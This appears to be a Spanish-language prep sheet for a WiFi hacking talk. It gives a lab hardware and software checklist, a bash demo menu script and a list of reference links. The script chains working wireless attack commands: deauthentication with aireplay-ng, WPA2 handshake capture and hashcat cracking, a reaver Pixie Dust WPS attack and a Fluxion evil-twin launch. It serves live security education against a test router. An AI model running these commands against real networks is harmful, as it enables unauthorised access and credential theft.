✅ Hardware: □ Laptop con Kali Linux □ 2x Alfa AWUS036ACH (o similar con monitor mode) □ Router viejo configurado con WEP / WPA2 + WPS □ 2-3 smartphones de prueba (víctimas) □ Cable Ethernet (conectar router a la laptop para configuración) □ Raspberry Pi (opcional, para Rogue AP dedicado) □ Proyector HDMI + adaptador □ Alargador eléctrico
✅ Software pre-configurado: □ Kali Linux actualizado con todas las herramientas □ Handshake pre-capturado (backup si falla la captura en vivo) □ Diccionario rockyou.txt descomprimido □ Fluxion / Wifiphisher instalado y probado □ Scripts de demo pre-configurados (reducir errores en vivo)
✅ Material imprimible: □ Checklist de seguridad WiFi (1 por asistente) □ QR code a recursos online □ Contacto para consultas post-ponenciaScript de terminal para demo fluida
#!/bin/bash# demo_wifi.sh — Script auxiliar para ponencia WiFi Hacking# Ejecutar secciones individualmente, no todo de golpe
echo "=== DEMO WiFi Hacking — Ponencia ==="echo ""echo "1) Escaneo general de redes"echo "2) WEP Attack"echo "3) WPA2 Handshake Capture"echo "4) WPA2 Hashcat Crack"echo "5) WPS Scan + Pixie Dust"echo "6) Evil Twin (Fluxion)"echo ""read -p "Selecciona demo [1-6]: " opcion
case $opcion in 1) sudo airmon-ng check kill sudo airmon-ng start wlan0 sudo airodump-ng wlan0mon ;; 2) echo "Iniciando captura WEP..." echo "Ejecutar en terminal separada: sudo aireplay-ng -3 -b <BSSID> wlan0mon" sudo airodump-ng --bssid $BSSID_WEP -c $CANAL_WEP -w demo_wep wlan0mon ;; 3) echo "Capturando handshake WPA2..." echo "Ejecutar en terminal separada: sudo aireplay-ng -0 5 -a <BSSID> -c <CLIENT> wlan0mon" sudo airodump-ng --bssid $BSSID_WPA -c $CANAL_WPA -w demo_wpa wlan0mon ;; 4) echo "Crackeando handshake con hashcat..." hashcat -m 22000 demo_hash.hc22000 /usr/share/wordlists/rockyou.txt --force ;; 5) echo "Escaneando WPS..." sudo wash -i wlan0mon echo "---" echo "Pixie Dust: sudo reaver -i wlan0mon -b <BSSID> -c <CANAL> -vv -K" ;; 6) echo "Lanzando Fluxion..." cd /opt/fluxion && sudo ./fluxion.sh ;;esacReferencias y recursos
Herramientas principales
- Aircrack-ng: https://www.aircrack-ng.org/
- Hashcat: https://hashcat.net/hashcat/
- Wifite2: https://github.com/derv82/wifite2
- Fluxion: https://github.com/FluxionNetwork/fluxion
- Wifiphisher: https://github.com/wifiphisher/wifiphisher
- Bettercap: https://www.bettercap.org/
- Kismet: https://www.kismetwireless.net/
- hcxdumptool: https://github.com/ZerBea/hcxdumptool
Papers y vulnerabilidades
- KRACK Attacks: https://www.krackattacks.com/
- PMKID Attack (hashcat): https://hashcat.net/forum/thread-7717.html
- WEP weakness (Fluhrer, Mantin, Shamir): https://dl.aircrack-ng.org/breakingwepandwpa.pdf
- DragonBlood (WPA3 vulns): https://wpa3.mathyvanhoef.com/
Hardware
- Hak5 WiFi Pineapple: https://shop.hak5.org/products/wifi-pineapple
- Alfa Network: https://www.alfa.com.tw/
- ESP8266 Deauther: https://github.com/SpacehuhnTech/esp8266_deauther
- Flipper Zero: https://flipperzero.one/
Formación
- TryHackMe WiFi Hacking: https://tryhackme.com/room/wifihacking101
- HackTheBox WiFi labs: https://www.hackthebox.com/
- Aircrack-ng Wiki: https://www.aircrack-ng.org/doku.php
Checklists de seguridad
- OWASP Wireless Security Testing Guide:
- NIST SP 800-153 (WiFi Security Guidelines): https://csrc.nist.gov/publications/detail/sp/800-153/final